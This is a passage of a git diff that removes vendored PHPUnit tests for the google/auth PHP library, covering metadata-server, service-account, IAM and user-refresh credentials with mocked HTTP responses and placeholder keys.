'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/foo/token', - $tokenUri - ); - } - - public function testGetAccessTokenWithServiceAccountIdentity() - { - $expected = [ - 'access_token' => 'token12345', - 'expires_in' => 123, - ]; - $timesCalled = 0; - $httpHandler = function ($request) use (&$timesCalled, $expected) { - $timesCalled++; - if ($timesCalled == 1) { - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - } - $this->assertEquals( - '/computeMetadata/v1/instance/service-accounts/foo/token', - $request->getUri()->getPath() - ); - $this->assertEquals('', $request->getUri()->getQuery()); - return new Psr7\Response(200, [], Utils::streamFor(json_encode($expected))); - }; - - $g = new GCECredentials(null, null, null, null, 'foo'); - $this->assertEquals( - $expected['access_token'], - $g->fetchAuthToken($httpHandler)['access_token'] - ); - } - - public function testGetIdTokenWithServiceAccountIdentity() - { - $expected = 'idtoken12345'; - $timesCalled = 0; - $httpHandler = function ($request) use (&$timesCalled, $expected) { - $timesCalled++; - if ($timesCalled == 1) { - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - } - $this->assertEquals( - '/computeMetadata/v1/instance/service-accounts/foo/identity', - $request->getUri()->getPath() - ); - $this->assertEquals( - 'audience=a+target+audience', - $request->getUri()->getQuery() - ); - return new Psr7\Response(200, [], Utils::streamFor($expected)); - }; - $g = new GCECredentials(null, null, 'a+target+audience', null, 'foo'); - $this->assertEquals( - ['id_token' => $expected], - $g->fetchAuthToken($httpHandler) - ); - } - - public function testGetClientNameUriWithServiceAccountIdentity() - { - $clientNameUri = GCECredentials::getClientNameUri('foo'); - $this->assertEquals( - 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/foo/email', - $clientNameUri - ); - } - - public function testGetClientNameWithServiceAccountIdentity() - { - $expected = 'expected'; - $timesCalled = 0; - $httpHandler = function ($request) use (&$timesCalled, $expected) { - $timesCalled++; - if ($timesCalled == 1) { - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - } - $this->assertEquals( - '/computeMetadata/v1/instance/service-accounts/foo/email', - $request->getUri()->getPath() - ); - $this->assertEquals('', $request->getUri()->getQuery()); - return new Psr7\Response(200, [], Utils::streamFor($expected)); - }; - - $creds = new GCECredentials(null, null, null, null, 'foo'); - $this->assertEquals($expected, $creds->getClientName($httpHandler)); - } -} diff --git a/vendor/google/auth/tests/Credentials/IAMCredentialsTest.php b/vendor/google/auth/tests/Credentials/IAMCredentialsTest.php deleted file mode 100644 index 348a699243..0000000000 --- a/vendor/google/auth/tests/Credentials/IAMCredentialsTest.php +++ /dev/null @@ -1,90 +0,0 @@ -assertNotNull( - new IAMCredentials('iam-selector', 'iam-token') - ); - } -} - -class IAMUpdateMetadataCallbackTest extends TestCase -{ - public function testUpdateMetadataFunc() - { - $selector = 'iam-selector'; - $token = 'iam-token'; - $iam = new IAMCredentials( - $selector, - $token - ); - - $update_metadata = $iam->getUpdateMetadataFunc(); - $this->assertInternalType('callable', $update_metadata); - - $actual_metadata = call_user_func( - $update_metadata, - $metadata = array('foo' => 'bar') - ); - $this->assertArrayHasKey(IAMCredentials::SELECTOR_KEY, $actual_metadata); - $this->assertEquals( - $actual_metadata[IAMCredentials::SELECTOR_KEY], - $selector - ); - $this->assertArrayHasKey(IAMCredentials::TOKEN_KEY, $actual_metadata); - $this->assertEquals( - $actual_metadata[IAMCredentials::TOKEN_KEY], - $token - ); - } -} diff --git a/vendor/google/auth/tests/Credentials/InsecureCredentialsTest.php b/vendor/google/auth/tests/Credentials/InsecureCredentialsTest.php deleted file mode 100644 index cb887fc71e..0000000000 --- a/vendor/google/auth/tests/Credentials/InsecureCredentialsTest.php +++ /dev/null @@ -1,46 +0,0 @@ -assertEquals(['access_token' => ''], $insecure->fetchAuthToken()); - } - - public function testGetCacheKey() - { - $insecure = new InsecureCredentials(); - $this->assertNull($insecure->getCacheKey()); - } - - public function testGetLastReceivedToken() - { - $insecure = new InsecureCredentials(); - $this->assertEquals(['access_token' => ''], $insecure->getLastReceivedToken()); - } -} diff --git a/vendor/google/auth/tests/Credentials/ServiceAccountCredentialsTest.php b/vendor/google/auth/tests/Credentials/ServiceAccountCredentialsTest.php deleted file mode 100644 index afc97ec130..0000000000 --- a/vendor/google/auth/tests/Credentials/ServiceAccountCredentialsTest.php +++ /dev/null @@ -1,926 +0,0 @@ - 'key123', - 'private_key' => 'privatekey', - 'client_email' => 'test@example.com', - 'client_id' => 'client123', - 'type' => 'service_account', - 'project_id' => 'example_project' - ]; -} - -class SACGetCacheKeyTest extends TestCase -{ - public function testShouldBeTheSameAsOAuth2WithTheSameScope() - { - $testJson = createTestJson(); - $scope = ['scope/1', 'scope/2']; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $o = new OAuth2(['scope' => $scope]); - $this->assertSame( - $testJson['client_email'] . ':' . $o->getCacheKey(), - $sa->getCacheKey() - ); - } - - public function testShouldBeTheSameAsOAuth2WithTheSameScopeWithSub() - { - $testJson = createTestJson(); - $scope = ['scope/1', 'scope/2']; - $sub = 'sub123'; - $sa = new ServiceAccountCredentials( - $scope, - $testJson, - $sub - ); - $o = new OAuth2(['scope' => $scope]); - $this->assertSame( - $testJson['client_email'] . ':' . $o->getCacheKey() . ':' . $sub, - $sa->getCacheKey() - ); - } - - public function testShouldBeTheSameAsOAuth2WithTheSameScopeWithSubAddedLater() - { - $testJson = createTestJson(); - $scope = ['scope/1', 'scope/2']; - $sub = 'sub123'; - $sa = new ServiceAccountCredentials( - $scope, - $testJson, - null - ); - $sa->setSub($sub); - - $o = new OAuth2(['scope' => $scope]); - $this->assertSame( - $testJson['client_email'] . ':' . $o->getCacheKey() . ':' . $sub, - $sa->getCacheKey() - ); - } -} - -class SACConstructorTest extends TestCase -{ - /** - * @expectedException InvalidArgumentException - */ - public function testShouldFailIfScopeIsNotAValidType() - { - $testJson = createTestJson(); - $notAnArrayOrString = new \stdClass(); - $sa = new ServiceAccountCredentials( - $notAnArrayOrString, - $testJson - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testShouldFailIfJsonDoesNotHaveClientEmail() - { - $testJson = createTestJson(); - unset($testJson['client_email']); - $scope = ['scope/1', 'scope/2']; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testShouldFailIfJsonDoesNotHavePrivateKey() - { - $testJson = createTestJson(); - unset($testJson['private_key']); - $scope = ['scope/1', 'scope/2']; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testFailsToInitalizeFromANonExistentFile() - { - $keyFile = __DIR__ . '/../fixtures' . '/does-not-exist-private.json'; - new ServiceAccountCredentials('scope/1', $keyFile); - } - - public function testInitalizeFromAFile() - { - $keyFile = __DIR__ . '/../fixtures' . '/private.json'; - $this->assertNotNull( - new ServiceAccountCredentials('scope/1', $keyFile) - ); - } - - /** - * @expectedException LogicException - */ - public function testFailsToInitializeFromInvalidJsonData() - { - $tmp = tmpfile(); - fwrite($tmp, '{'); - - $path = stream_get_meta_data($tmp)['uri']; - - try { - new ServiceAccountCredentials('scope/1', $path); - } catch (\Exception $e) { - fclose($tmp); - throw $e; - } - } -} - -class SACFromEnvTest extends TestCase -{ - protected function tearDown() - { - putenv(ServiceAccountCredentials::ENV_VAR); // removes it from - } - - public function testIsNullIfEnvVarIsNotSet() - { - $this->assertNull(ServiceAccountCredentials::fromEnv()); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfEnvSpecifiesNonExistentFile() - { - $keyFile = __DIR__ . '/../fixtures' . '/does-not-exist-private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - ApplicationDefaultCredentials::getCredentials('a scope'); - } - - public function testSucceedIfFileExists() - { - $keyFile = __DIR__ . '/../fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - $this->assertNotNull(ApplicationDefaultCredentials::getCredentials('a scope')); - } -} - -class SACFromWellKnownFileTest extends TestCase -{ - private $originalHome; - - protected function setUp() - { - $this->originalHome = getenv('HOME'); - } - - protected function tearDown() - { - if ($this->originalHome != getenv('HOME')) { - putenv('HOME=' . $this->originalHome); - } - } - - public function testIsNullIfFileDoesNotExist() - { - putenv('HOME=' . __DIR__ . '/../not_exists_fixtures'); - $this->assertNull( - ServiceAccountCredentials::fromWellKnownFile() - ); - } - - public function testSucceedIfFileIsPresent() - { - putenv('HOME=' . __DIR__ . '/../fixtures'); - $this->assertNotNull( - ApplicationDefaultCredentials::getCredentials('a scope') - ); - } -} - -class SACFetchAuthTokenTest extends TestCase -{ - private $privateKey; - - public function setUp() - { - $this->privateKey = - file_get_contents(__DIR__ . '/../fixtures' . '/private.pem'); - } - - private function createTestJson() - { - $testJson = createTestJson(); - $testJson['private_key'] = $this->privateKey; - - return $testJson; - } - - /** - * @expectedException GuzzleHttp\Exception\ClientException - */ - public function testFailsOnClientErrors() - { - $testJson = $this->createTestJson(); - $scope = ['scope/1', 'scope/2']; - $httpHandler = getHandler([ - buildResponse(400), - ]); - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $sa->fetchAuthToken($httpHandler); - } - - /** - * @expectedException GuzzleHttp\Exception\ServerException - */ - public function testFailsOnServerErrors() - { - $testJson = $this->createTestJson(); - $scope = ['scope/1', 'scope/2']; - $httpHandler = getHandler([ - buildResponse(500), - ]); - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $sa->fetchAuthToken($httpHandler); - } - - public function testCanFetchCredsOK() - { - $testJson = $this->createTestJson(); - $testJsonText = json_encode($testJson); - $scope = ['scope/1', 'scope/2']; - $httpHandler = getHandler([ - buildResponse(200, [], Utils::streamFor($testJsonText)), - ]); - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $tokens = $sa->fetchAuthToken($httpHandler); - $this->assertEquals($testJson, $tokens); - } - - public function testUpdateMetadataFunc() - { - $testJson = $this->createTestJson(); - $scope = ['scope/1', 'scope/2']; - $access_token = 'accessToken123'; - $responseText = json_encode(array('access_token' => $access_token)); - $httpHandler = getHandler([ - buildResponse(200, [], Utils::streamFor($responseText)), - ]); - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $update_metadata = $sa->getUpdateMetadataFunc(); - $this->assertInternalType('callable', $update_metadata); - - $actual_metadata = call_user_func( - $update_metadata, - $metadata = array('foo' => 'bar'), - $authUri = null, - $httpHandler - ); - $this->assertArrayHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $actual_metadata - ); - $this->assertEquals( - $actual_metadata[CredentialsLoader::AUTH_METADATA_KEY], - array('Bearer ' . $access_token) - ); - } - - public function testShouldBeIdTokenWhenTargetAudienceIsSet() - { - $testJson = $this->createTestJson(); - $expectedToken = ['id_token' => 'idtoken12345']; - $timesCalled = 0; - $httpHandler = function ($request) use (&$timesCalled, $expectedToken) { - $timesCalled++; - parse_str($request->getBody(), $post); - $this->assertArrayHasKey('assertion', $post); - list($header, $payload, $sig) = explode('.', $post['assertion']); - $jwtParams = json_decode(base64_decode($payload), true); - $this->assertArrayHasKey('target_audience', $jwtParams); - $this->assertEquals('a target audience', $jwtParams['target_audience']); - - return new Psr7\Response(200, [], Utils::streamFor(json_encode($expectedToken))); - }; - $sa = new ServiceAccountCredentials(null, $testJson, null, 'a target audience'); - $this->assertEquals($expectedToken, $sa->fetchAuthToken($httpHandler)); - $this->assertEquals(1, $timesCalled); - } - - /** - * @expectedException InvalidArgumentException - * @expectedExceptionMessage Scope and targetAudience cannot both be supplied - */ - public function testSettingBothScopeAndTargetAudienceThrowsException() - { - $testJson = $this->createTestJson(); - $sa = new ServiceAccountCredentials( - 'a-scope', - $testJson, - null, - 'a-target-audience' - ); - } -} - -class SACGetClientNameTest extends TestCase -{ - public function testReturnsClientEmail() - { - $testJson = createTestJson(); - $sa = new ServiceAccountCredentials('scope/1', $testJson); - $this->assertEquals($testJson['client_email'], $sa->getClientName()); - } -} - -class SACGetProjectIdTest extends TestCase -{ - public function testGetProjectId() - { - $testJson = createTestJson(); - $sa = new ServiceAccountCredentials('scope/1', $testJson); - $this->assertEquals($testJson['project_id'], $sa->getProjectId()); - } -} - -class SACGetQuotaProjectTest extends TestCase -{ - public function testGetQuotaProject() - { - $keyFile = __DIR__ . '/../fixtures' . '/private.json'; - $sa = new ServiceAccountCredentials('scope/1', $keyFile); - $this->assertEquals('test_quota_project', $sa->getQuotaProject()); - } -} - -class SACJwtAccessTest extends TestCase -{ - private $privateKey; - - public function setUp() - { - $this->privateKey = - file_get_contents(__DIR__ . '/../fixtures' . '/private.pem'); - } - - private function createTestJson() - { - $testJson = createTestJson(); - $testJson['private_key'] = $this->privateKey; - - return $testJson; - } - - /** - * @expectedException InvalidArgumentException - */ - public function testFailsToInitalizeFromANonExistentFile() - { - $keyFile = __DIR__ . '/../fixtures' . '/does-not-exist-private.json'; - new ServiceAccountJwtAccessCredentials($keyFile); - } - - public function testInitalizeFromAFile() - { - $keyFile = __DIR__ . '/../fixtures' . '/private.json'; - $this->assertNotNull( - new ServiceAccountJwtAccessCredentials($keyFile) - ); - } - - /** - * @expectedException LogicException - */ - public function testFailsToInitializeFromInvalidJsonData() - { - $tmp = tmpfile(); - fwrite($tmp, '{'); - - $path = stream_get_meta_data($tmp)['uri']; - - try { - new ServiceAccountJwtAccessCredentials($path); - } catch (\Exception $e) { - fclose($tmp); - throw $e; - } - } - - /** - * @expectedException InvalidArgumentException - */ - public function testFailsOnMissingClientEmail() - { - $testJson = $this->createTestJson(); - unset($testJson['client_email']); - $sa = new ServiceAccountJwtAccessCredentials( - $testJson - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testFailsOnMissingPrivateKey() - { - $testJson = $this->createTestJson(); - unset($testJson['private_key']); - $sa = new ServiceAccountJwtAccessCredentials( - $testJson - ); - } - - /** - * @expectedException UnexpectedValueException - * @expectedExceptionMessage Cannot sign both audience and scope in JwtAccess - */ - public function testFailsWithBothAudienceAndScope() - { - $scope = 'scope/1'; - $audience = 'https://example.com/service'; - $testJson = $this->createTestJson(); - $sa = new ServiceAccountJwtAccessCredentials($testJson, $scope); - $sa->updateMetadata([], $audience); - } - - public function testCanInitializeFromJson() - { - $testJson = $this->createTestJson(); - $sa = new ServiceAccountJwtAccessCredentials( - $testJson - ); - $this->assertNotNull($sa); - } - - public function testNoOpOnFetchAuthToken() - { - $testJson = $this->createTestJson(); - $sa = new ServiceAccountJwtAccessCredentials( - $testJson - ); - $this->assertNotNull($sa); - - $httpHandler = getHandler([ - buildResponse(200), - ]); - $result = $sa->fetchAuthToken($httpHandler); // authUri has not been set - $this->assertNull($result); - } - - public function testAuthUriIsNotSet() - { - $testJson = $this->createTestJson(); - $sa = new ServiceAccountJwtAccessCredentials( - $testJson - ); - $this->assertNotNull($sa); - - $update_metadata = $sa->getUpdateMetadataFunc(); - $this->assertInternalType('callable', $update_metadata); - - $actual_metadata = call_user_func( - $update_metadata, - $metadata = array('foo' => 'bar'), - $authUri = null - ); - $this->assertArrayNotHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $actual_metadata - ); - } - - public function testGetLastReceivedToken() - { - $testJson = $this->createTestJson(); - $sa = new ServiceAccountJwtAccessCredentials($testJson); - $token = $sa->fetchAuthToken(); - $this->assertEquals($token, $sa->getLastReceivedToken()); - } - - public function testUpdateMetadataFunc() - { - $testJson = $this->createTestJson(); - $sa = new ServiceAccountJwtAccessCredentials( - $testJson - ); - $this->assertNotNull($sa); - - $update_metadata = $sa->getUpdateMetadataFunc(); - $this->assertInternalType('callable', $update_metadata); - - $actual_metadata = call_user_func( - $update_metadata, - $metadata = array('foo' => 'bar'), - $authUri = 'https://example.com/service' - ); - $this->assertArrayHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $actual_metadata - ); - - $authorization = $actual_metadata[CredentialsLoader::AUTH_METADATA_KEY]; - $this->assertInternalType('array', $authorization); - - $bearer_token = current($authorization); - $this->assertInternalType('string', $bearer_token); - $this->assertEquals(0, strpos($bearer_token, 'Bearer ')); - $this->assertGreaterThan(30, strlen($bearer_token)); - - $actual_metadata2 = call_user_func( - $update_metadata, - $metadata = array('foo' => 'bar'), - $authUri = 'https://example.com/anotherService' - ); - $this->assertArrayHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $actual_metadata2 - ); - - $authorization2 = $actual_metadata2[CredentialsLoader::AUTH_METADATA_KEY]; - $this->assertInternalType('array', $authorization2); - - $bearer_token2 = current($authorization2); - $this->assertInternalType('string', $bearer_token2); - $this->assertEquals(0, strpos($bearer_token2, 'Bearer ')); - $this->assertGreaterThan(30, strlen($bearer_token2)); - $this->assertNotEquals($bearer_token2, $bearer_token); - } -} - -class SACJwtAccessComboTest extends TestCase -{ - private $privateKey; - - public function setUp() - { - $this->privateKey = - file_get_contents(__DIR__ . '/../fixtures' . '/private.pem'); - } - - private function createTestJson() - { - $testJson = createTestJson(); - $testJson['private_key'] = $this->privateKey; - - return $testJson; - } - - public function testNoScopeUseJwtAccess() - { - $testJson = $this->createTestJson(); - // no scope, jwt access should be used, no outbound - // call should be made - $scope = null; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $this->assertNotNull($sa); - - $update_metadata = $sa->getUpdateMetadataFunc(); - $this->assertInternalType('callable', $update_metadata); - - $actual_metadata = call_user_func( - $update_metadata, - $metadata = array('foo' => 'bar'), - $authUri = 'https://example.com/service' - ); - $this->assertArrayHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $actual_metadata - ); - - $authorization = $actual_metadata[CredentialsLoader::AUTH_METADATA_KEY]; - $this->assertInternalType('array', $authorization); - - $bearer_token = current($authorization); - $this->assertInternalType('string', $bearer_token); - $this->assertEquals(0, strpos($bearer_token, 'Bearer ')); - $this->assertGreaterThan(30, strlen($bearer_token)); - } - - public function testUpdateMetadataWithScopeAndUseJwtAccessWithScopeParameter() - { - $testJson = $this->createTestJson(); - // jwt access should be used even when scopes are supplied, no outbound - // call should be made - $scope = 'scope1 scope2'; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $sa->useJwtAccessWithScope(); - - $actual_metadata = $sa->updateMetadata( - $metadata = array('foo' => 'bar'), - $authUri = 'https://example.com/service' - ); - - $this->assertArrayHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $actual_metadata - ); - - $authorization = $actual_metadata[CredentialsLoader::AUTH_METADATA_KEY]; - $this->assertInternalType('array', $authorization); - - $bearer_token = current($authorization); - $this->assertInternalType('string', $bearer_token); - $this->assertEquals(0, strpos($bearer_token, 'Bearer ')); - - // Ensure scopes are signed inside - $token = substr($bearer_token, strlen('Bearer ')); - $this->assertEquals(2, substr_count($token, '.')); - list($header, $payload, $sig) = explode('.', $bearer_token); - $json = json_decode(base64_decode($payload), true); - $this->assertInternalType('array', $json); - $this->assertArrayHasKey('scope', $json); - $this->assertEquals($json['scope'], $scope); - } - - public function testUpdateMetadataWithScopeAndUseJwtAccessWithScopeParameterAndArrayScopes() - { - $testJson = $this->createTestJson(); - // jwt access should be used even when scopes are supplied, no outbound - // call should be made - $scope = ['scope1', 'scope2']; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $sa->useJwtAccessWithScope(); - - $actual_metadata = $sa->updateMetadata( - $metadata = array('foo' => 'bar'), - $authUri = 'https://example.com/service' - ); - - $this->assertArrayHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $actual_metadata - ); - - $authorization = $actual_metadata[CredentialsLoader::AUTH_METADATA_KEY]; - $this->assertInternalType('array', $authorization); - - $bearer_token = current($authorization); - $this->assertInternalType('string', $bearer_token); - $this->assertEquals(0, strpos($bearer_token, 'Bearer ')); - - // Ensure scopes are signed inside - $token = substr($bearer_token, strlen('Bearer ')); - $this->assertEquals(2, substr_count($token, '.')); - list($header, $payload, $sig) = explode('.', $bearer_token); - $json = json_decode(base64_decode($payload), true); - $this->assertInternalType('array', $json); - $this->assertArrayHasKey('scope', $json); - $this->assertEquals($json['scope'], implode(' ', $scope)); - - // Test last received token - $cachedToken = $sa->getLastReceivedToken(); - $this->assertInternalType('array', $cachedToken); - $this->assertArrayHasKey('access_token', $cachedToken); - $this->assertEquals($token, $cachedToken['access_token']); - } - - public function testFetchAuthTokenWithScopeAndUseJwtAccessWithScopeParameter() - { - $testJson = $this->createTestJson(); - // jwt access should be used even when scopes are supplied, no outbound - // call should be made - $scope = 'scope1 scope2'; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $sa->useJwtAccessWithScope(); - - $access_token = $sa->fetchAuthToken(); - $this->assertInternalType('array', $access_token); - $this->assertArrayHasKey('access_token', $access_token); - $token = $access_token['access_token']; - - // Ensure scopes are signed inside - $this->assertEquals(2, substr_count($token, '.')); - list($header, $payload, $sig) = explode('.', $token); - $json = json_decode(base64_decode($payload), true); - $this->assertInternalType('array', $json); - $this->assertArrayHasKey('scope', $json); - $this->assertEquals($json['scope'], $scope); - } - - public function testFetchAuthTokenWithScopeAndUseJwtAccessWithScopeParameterAndArrayScopes() - { - $testJson = $this->createTestJson(); - // jwt access should be used even when scopes are supplied, no outbound - // call should be made - $scope = ['scope1', 'scope2']; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $sa->useJwtAccessWithScope(); - - $access_token = $sa->fetchAuthToken(); - $this->assertInternalType('array', $access_token); - $this->assertArrayHasKey('access_token', $access_token); - $token = $access_token['access_token']; - - // Ensure scopes are signed inside - $this->assertEquals(2, substr_count($token, '.')); - list($header, $payload, $sig) = explode('.', $token); - $json = json_decode(base64_decode($payload), true); - $this->assertInternalType('array', $json); - $this->assertArrayHasKey('scope', $json); - $this->assertEquals($json['scope'], implode(' ', $scope)); - - // Test last received token - $cachedToken = $sa->getLastReceivedToken(); - $this->assertInternalType('array', $cachedToken); - $this->assertArrayHasKey('access_token', $cachedToken); - $this->assertEquals($token, $cachedToken['access_token']); - } - - /** @runInSeparateProcess */ - public function testJwtAccessFromApplicationDefault() - { - $keyFile = __DIR__ . '/../fixtures3/service_account_credentials.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - $creds = ApplicationDefaultCredentials::getCredentials( - null, // $scope - null, // $httpHandler - null, // $cacheConfig - null, // $cache - null, // $quotaProject - 'a default scope' // $defaultScope - ); - $authUri = 'https://example.com/service'; - - $metadata = $creds->updateMetadata(['foo' => 'bar'], $authUri); - - $this->assertArrayHasKey('authorization', $metadata); - $token = str_replace('Bearer ', '', $metadata['authorization'][0]); - $key = file_get_contents(__DIR__ . '/../fixtures3/key.pub'); - - $class = 'JWT'; - if (class_exists('Firebase\JWT\JWT')) { - $class = 'Firebase\JWT\JWT'; - } - $jwt = new $class(); - $result = $jwt::decode($token, $key, ['RS256']); - - $this->assertEquals($authUri, $result->aud); - } - - public function testNoScopeAndNoAuthUri() - { - $testJson = $this->createTestJson(); - // no scope, jwt access should be used, no outbound - // call should be made - $scope = null; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $this->assertNotNull($sa); - - $update_metadata = $sa->getUpdateMetadataFunc(); - $this->assertInternalType('callable', $update_metadata); - - $actual_metadata = call_user_func( - $update_metadata, - $metadata = array('foo' => 'bar'), - $authUri = null - ); - // no access_token is added to the metadata hash - // but also, no error should be thrown - $this->assertInternalType('array', $actual_metadata); - $this->assertArrayNotHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $actual_metadata - ); - } - - public function testUpdateMetadataJwtAccess() - { - $testJson = $this->createTestJson(); - // no scope, jwt access should be used, no outbound - // call should be made - $scope = null; - $sa = new ServiceAccountCredentials( - $scope, - $testJson - ); - $this->assertNotNull($sa); - $metadata = $sa->updateMetadata( - array('foo' => 'bar'), - 'https://example.com/service' - ); - $this->assertArrayHasKey( - CredentialsLoader::AUTH_METADATA_KEY, - $metadata - ); - - $authorization = $metadata[CredentialsLoader::AUTH_METADATA_KEY]; - $this->assertInternalType('array', $authorization); - - $bearerToken = current($authorization); - $this->assertInternalType('string', $bearerToken); - $this->assertEquals(0, strpos($bearerToken, 'Bearer ')); - $token = str_replace('Bearer ', '', $bearerToken); - - $lastReceivedToken = $sa->getLastReceivedToken(); - $this->assertArrayHasKey('access_token', $lastReceivedToken); - $this->assertEquals($token, $lastReceivedToken['access_token']); - } -} - -class SACJWTGetCacheKeyTest extends TestCase -{ - public function testShouldBeTheSameAsOAuth2WithTheSameScope() - { - $testJson = createTestJson(); - $scope = ['scope/1', 'scope/2']; - $sa = new ServiceAccountJwtAccessCredentials($testJson); - $this->assertNull($sa->getCacheKey()); - } -} - -class SACJWTGetClientNameTest extends TestCase -{ - public function testReturnsClientEmail() - { - $testJson = createTestJson(); - $sa = new ServiceAccountJwtAccessCredentials($testJson); - $this->assertEquals($testJson['client_email'], $sa->getClientName()); - } -} - -class SACJWTGetProjectIdTest extends TestCase -{ - public function testGetProjectId() - { - $testJson = createTestJson(); - $sa = new ServiceAccountJwtAccessCredentials($testJson); - $this->assertEquals($testJson['project_id'], $sa->getProjectId()); - } -} - -class SACJWTGetQuotaProjectTest extends TestCase -{ - public function testGetQuotaProject() - { - $keyFile = __DIR__ . '/../fixtures' . '/private.json'; - $sa = new ServiceAccountJwtAccessCredentials($keyFile); - $this->assertEquals('test_quota_project', $sa->getQuotaProject()); - } -} diff --git a/vendor/google/auth/tests/Credentials/UserRefreshCredentialsTest.php b/vendor/google/auth/tests/Credentials/UserRefreshCredentialsTest.php deleted file mode 100644 index 69afb8504d..0000000000 --- a/vendor/google/auth/tests/Credentials/UserRefreshCredentialsTest.php +++ /dev/null @@ -1,280 +0,0 @@ - 'client123', - 'client_secret' => 'clientSecret123', - 'refresh_token' => 'refreshToken123', - 'type' => 'authorized_user', - ]; -} - -class URCGetCacheKeyTest extends TestCase -{ - public function testShouldBeTheSameAsOAuth2WithTheSameScope() - { - $testJson = createURCTestJson(); - $scope = ['scope/1', 'scope/2']; - $sa = new UserRefreshCredentials( - $scope, - $testJson - ); - $o = new OAuth2(['scope' => $scope]); - $this->assertSame( - $testJson['client_id'] . ':' . $o->getCacheKey(), - $sa->getCacheKey() - ); - } -} - -class URCConstructorTest extends TestCase -{ - /** - * @expectedException InvalidArgumentException - */ - public function testShouldFailIfScopeIsNotAValidType() - { - $testJson = createURCTestJson(); - $notAnArrayOrString = new \stdClass(); - $sa = new UserRefreshCredentials( - $notAnArrayOrString, - $testJson - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testShouldFailIfJsonDoesNotHaveClientSecret() - { - $testJson = createURCTestJson(); - unset($testJson['client_secret']); - $scope = ['scope/1', 'scope/2']; - $sa = new UserRefreshCredentials( - $scope, - $testJson - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testShouldFailIfJsonDoesNotHaveRefreshToken() - { - $testJson = createURCTestJson(); - unset($testJson['refresh_token']); - $scope = ['scope/1', 'scope/2']; - $sa = new UserRefreshCredentials( - $scope, - $testJson - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testShouldFailIfJsonDoesNotHaveClientId() - { - $testJson = createURCTestJson(); - unset($testJson['client_id']); - $scope = ['scope/1', 'scope/2']; - $sa = new UserRefreshCredentials( - $scope, - $testJson - ); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testFailsToInitalizeFromANonExistentFile() - { - $keyFile = __DIR__ . '/../fixtures/does-not-exist-private.json'; - new UserRefreshCredentials('scope/1', $keyFile); - } - - public function testInitalizeFromAFile() - { - $keyFile = __DIR__ . '/../fixtures2' . '/private.json'; - $this->assertNotNull( - new UserRefreshCredentials('scope/1', $keyFile) - ); - } - - /** - * @expectedException LogicException - */ - public function testFailsToInitializeFromInvalidJsonData() - { - $tmp = tmpfile(); - fwrite($tmp, '{'); - - $path = stream_get_meta_data($tmp)['uri']; - - try { - new UserRefreshCredentials('scope/1', $path); - } catch (\Exception $e) { - fclose($tmp); - throw $e; - } - } - - public function testValid3LOauthCreds() - { - $keyFile = __DIR__ . '/../fixtures2/valid_oauth_creds.json'; - $this->assertNotNull( - new UserRefreshCredentials('scope/1', $keyFile) - ); - } -} - -class URCFromEnvTest extends TestCase -{ - protected function tearDown() - { - putenv(UserRefreshCredentials::ENV_VAR); // removes it from - } - - public function testIsNullIfEnvVarIsNotSet() - { - $this->assertNull(UserRefreshCredentials::fromEnv('a scope')); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfEnvSpecifiesNonExistentFile() - { - $keyFile = __DIR__ . '/../fixtures/does-not-exist-private.json'; - putenv(UserRefreshCredentials::ENV_VAR . '=' . $keyFile); - UserRefreshCredentials::fromEnv('a scope'); - } - - public function testSucceedIfFileExists() - { - $keyFile = __DIR__ . '/../fixtures2/private.json'; - putenv(UserRefreshCredentials::ENV_VAR . '=' . $keyFile); - $this->assertNotNull(ApplicationDefaultCredentials::getCredentials('a scope')); - } -} - -class URCFromWellKnownFileTest extends TestCase -{ - private $originalHome; - - protected function setUp() - { - $this->originalHome = getenv('HOME'); - } - - protected function tearDown() - { - if ($this->originalHome != getenv('HOME')) { - putenv('HOME=' . $this->originalHome); - } - } - - public function testIsNullIfFileDoesNotExist() - { - putenv('HOME=' . __DIR__ . '/../not_exist_fixtures'); - $this->assertNull( - UserRefreshCredentials::fromWellKnownFile('a scope') - ); - } - - public function testSucceedIfFileIsPresent() - { - putenv('HOME=' . __DIR__ . '/../fixtures2'); - $this->assertNotNull( - ApplicationDefaultCredentials::getCredentials('a scope') - ); - } -} - -class URCFetchAuthTokenTest extends TestCase -{ - /** - * @expectedException GuzzleHttp\Exception\ClientException - */ - public function testFailsOnClientErrors() - { - $testJson = createURCTestJson(); - $scope = ['scope/1', 'scope/2']; - $httpHandler = getHandler([ - buildResponse(400), - ]); - $sa = new 